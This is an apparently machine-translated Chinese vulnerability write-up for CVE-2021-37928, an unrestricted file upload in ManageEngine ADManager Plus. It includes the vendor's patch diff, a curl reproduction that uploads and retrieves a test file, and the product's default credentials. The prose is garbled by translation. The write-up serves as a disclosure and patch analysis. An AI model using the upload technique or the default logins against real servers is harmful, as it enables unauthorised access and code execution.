破绽描绘
Zoho ManageEngine ADManager Plus 7110 及更早版本允许无限制的文件上传,从而招致远程代码执行破绽CVE-2021-37928。
影响版本
Zoho ManageEngine ADManager Plus 7110
技术剖析
受影响的端点/RestAPI/WC/NotificationTemplate/attachFiles带有参数UPLOADED_FILE。SYSTEM假如效劳器作为效劳启动,则该破绽能够作为用户被应用。
修补
文件(称号)扩展名如今依据答应名单停止考证。
+ <url path="/RestAPI/WC/NotificationTemplate/attachFiles" method="post" dynamic-params="true" csrf="true">
+ <file name="UPLOADED_FILE" content-type-name="notificationTemplateAttachments" max-size="25600" allowed-extensions="jpg,jpeg,gif,bmp,ico,png,csv,pdf,html,xls,xlsx">
+ <filename regex="allowedFileNameChars" max-len="255"/>
+ </file>
+ </url>
public String attachFiles(HttpServletRequest request, HttpServletResponse response) throws Exception {
JSONObject responseObj = new JSONObject();
ADSResourceBundle rb = null;
Long userId = ObjectFactory.getInstance().getUserAdapter().getUserId();
try {
rb = I18N.getInstance().getBundle(userId);
JSONObject fileDetails = FileUtil.getFileFromRequest(request, "UPLOADED_FILE");
if (fileDetails.has("FILE_NAME") && fileDetails.has("FILE")) {
- String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory();
- String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null);
- InputStream is = null;
- OutputStream os = null;
- try {
- File inputFile = (File)fileDetails.get("FILE");
- is = new FileInputStream(inputFile);
- os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName);
- byte[] buffer = new byte[(int)inputFile.length()];
- int length;
- while ((length = is.read(buffer)) > 0)
- os.write(buffer, 0, length);
- } catch (Exception fileException) {
- logger.log(Level.INFO, "Exception while file operations", fileException);
- } finally {
- if (is != null)
- is.close();
- if (os != null)
- os.close();
+ boolean isValidfileExtension = FileUtil.validateImageFileExtension(fileDetails.optString("FILE_NAME"), 5000L);
+ if (isValidfileExtension) {
+ String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory();
+ String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null);
+ InputStream is = null;
+ OutputStream os = null;
+ try {
+ File inputFile = (File)fileDetails.get("FILE");
+ is = new FileInputStream(inputFile);
+ os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName);
+ byte[] buffer = new byte[(int)inputFile.length()];
+ int length;
+ while ((length = is.read(buffer)) > 0)
+ os.write(buffer, 0, length);
+ } catch (Exception fileException) {
+ logger.log(Level.INFO, "Exception while file operations", fileException);
+ } finally {
+ if (is != null)
+ is.close();
+ if (os != null)
+ os.close();
+ }
+ String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName;
+ responseObj.put("FILE_NAME", fileName);
+ responseObj.put("FILE_URL", fileURL);
+ responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success"));
}
- String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName;
- responseObj.put("FILE_NAME", fileName);
- responseObj.put("FILE_URL", fileURL);
- responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success"));
} else {
responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error"));
}
} catch (Exception e) {
responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error"));
logger.log(Level.INFO, e.getMessage(), e);
}
CommonUtil.setResponseText(response, responseObj.toString());
return null;
}
package com.manageengine.ads.fw.common.util;
import com.adventnet.iam.security.SecurityRequestWrapper;
+import com.adventnet.iam.security.UploadFileRule;
import com.adventnet.iam.security.UploadedFileItem;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.commons.io.FilenameUtils;
import org.json.JSONObject;
public class FileUtil {
private static Logger logger = Logger.getLogger("ADSLogger");
+ public static final String[] DEFAULT_IMAGE_EXTENSION = new String[] {
+ "jpg", "png", "gif", "jpeg", "tiff", "pjp", "pjpeg", "jfif", "tif", "svg",
+ "bmp", "svgz", "webp", "ico", "xbm", "dib" };
+
+ public static final String[] DEFAULT_ZIP_EXTENSION = new String[] { "zip" };
+
+ public static final String[] DEFAULT_ICON_EXTENSION = new String[] { "ico" };
+
+ public static final String DEFAULT_FILE_NAME_REGEX = "^[a-zA-Z0-9._ -]+$";
+
public static JSONObject getFileFromRequest(HttpServletRequest httpServletRequest, String paramName) {
JSONObject json = new JSONObject();
File file = null;
String fileName = null;
Long fileSize = null;
try {
if (ServletRequestHandler.isInstanceOfSecurityWrapper(httpServletRequest)) {
SecurityRequestWrapper secrequest = (SecurityRequestWrapper)httpServletRequest;
UploadedFileItem item = secrequest.getMultipartParameter(paramName);
if (item != null) {
file = item.getUploadedFile();
fileName = item.getFileName();
fileSize = Long.valueOf(item.getFileSize());
}
json.put("FILE", file);
json.put("FILE_NAME", fileName);
json.put("FILE_SIZE", fileSize);
} else {
List<FileItem> multiparts = (new ServletFileUpload((FileItemFactory)new DiskFileItemFactory())).parseRequest(httpServletRequest);
json = getFileFromMultipartRequest(multiparts, paramName);
}
} catch (Exception e) {
logger.log(Level.INFO, "Error in getting the file from request ");
}
return json;
}
public static String getFileContent(File file, String delimiter) {
BufferedReader bufRead = null;
String ret = null;
try {
StringBuffer outBuf = new StringBuffer();
InputStreamReader is = new InputStreamReader(new FileInputStream(file), "UTF-8");
bufRead = new BufferedReader(is);
boolean startWrite = false;
String line = bufRead.readLine();
while (line != null) {
if (delimiter != null && !delimiter.equals("")) {
if (line.contains(delimiter))
startWrite = true;
if (startWrite)
outBuf.append(line);
if (line.contains("/" + delimiter))
startWrite = false;
} else {
outBuf.append(line);
}
line = bufRead.readLine();
}
ret = outBuf.toString();
} catch (Exception e) {
logger.log(Level.INFO, "", e);
} finally {
try {
if (bufRead != null)
bufRead.close();
} catch (Exception e) {
logger.log(Level.INFO, "Error : " + e);
}
}
return ret;
}
public static JSONObject getFileFromMultipartRequest(List multiparts, String paramName) {
JSONObject file = new JSONObject();
try {
for (FileItem item : multiparts) {
if (!item.isFormField() && item.getFieldName().equals(paramName)) {
String fileName = FilenameUtils.getName(item.getName());
File storeFile = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
storeFile.deleteOnExit();
item.write(storeFile);
file.put("FILE", storeFile);
file.put("FILE_NAME", fileName);
file.put("FILE_SIZE", item.getSize());
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
return file;
}
+
+ public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions, String xssPattern, String fileNameRegex) {
+ if (fileName != null) {
+ UploadFileRule uploadFileRule = new UploadFileRule(fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, xssPattern, fileNameRegex);
+ return uploadFileRule.validateExtension(fileName);
+ }
+ return false;
+ }
+
+ public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions) {
+ return validateFileExtension(fileName, fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, null, "^[a-zA-Z0-9._ -]+$");
+ }
+
+ public static boolean validateImageFileExtension(String fileName, long maxfileSizeInKB) {
+ return validateFileExtension(fileName, "IMAGE_FILE", "image", maxfileSizeInKB, DEFAULT_IMAGE_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+ }
+
+ public static boolean validateZipFileExtension(String fileName, long maxfileSizeInKB) {
+ return validateFileExtension(fileName, "ZIP_FILE", "zip", maxfileSizeInKB, DEFAULT_ZIP_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+ }
+
+ public static boolean validateIconFileExtension(String fileName, long maxfileSizeInKB) {
+ return validateFileExtension(fileName, "ICON_FILE", "icon", maxfileSizeInKB, DEFAULT_ICON_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+ }
}
破绽复现
请留意,我曾经登录。默许帐户/凭据可用。
wvu@kharak:~$ curl -vb JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892 http://172.16.57.222:8080/RestAPI/WC/NotificationTemplate/attachFiles -F "UPLOADED_FILE=@-;filename=foo.txt" <<<bar
* Trying 172.16.57.222:8080...
* Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0)
> POST /RestAPI/WC/NotificationTemplate/attachFiles HTTP/1.1
> Host: 172.16.57.222:8080
> User-Agent: curl/7.80.0
> Accept: */*
> Cookie: JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892
> Content-Length: 198
> Content-Type: multipart/form-data; boundary=------------------------98cb9d38d953de55
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONIDADMP=3EEABEA724F597559A78BE12A903D6C1; Path=/; HttpOnly
< Cache-Control: no-cache, no-store
< Pragma: no-cache
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< vary: accept-encoding
< Content-Type: text/html;charset=UTF-8
< Content-Length: 155
< Date: Mon, 29 Nov 2021 03:44:11 GMT
< Server: ADMP
<
* Connection #0 to host 172.16.57.222 left intact
{"sSTATUS":"Files are successfully attached.","FILE_NAME":"1638157451470_foo.txt","FILE_URL":"/ompemberapp/NotificationTemplates\\1638157451470_foo.txt"}wvu@kharak:~$
wvu@kharak:~$ curl -v http://172.16.57.222:8080/ompemberapp/NotificationTemplates/1638157451470_foo.txt
* Trying 172.16.57.222:8080...
* Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0)
> GET /ompemberapp/NotificationTemplates/1638157451470_foo.txt HTTP/1.1
> Host: 172.16.57.222:8080
> User-Agent: curl/7.80.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONIDADMP=8F4512A6AB47CB362598575B9413CBBB; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-FRAME-OPTIONS: SAMEORIGIN
< Accept-Ranges: bytes
< ETag: W/"4-1638157451470"
< Last-Modified: Mon, 29 Nov 2021 03:44:11 GMT
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Mon, 29 Nov 2021 03:45:33 GMT
< Server: ADMP
<
bar
* Connection #0 to host 172.16.57.222 left intact
wvu@kharak:~$
默许账号
请更改一切这些信誉!只要admin帐户被分明地记载在案。
admin : admin
helpdesk : admin
hrassociate : admin
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
© 版权声明
本站网络名称:
孤勇者社区
本站永久网址:
https://www.gyzsq.com
网站侵权说明:
本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ324470778删除处理。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
THE END
喜欢就支持一下吧
相关推荐
评论 抢沙发
![头像](/wp-content/themes/zibll/img/avatar-default.png)
欢迎您留下宝贵的见解!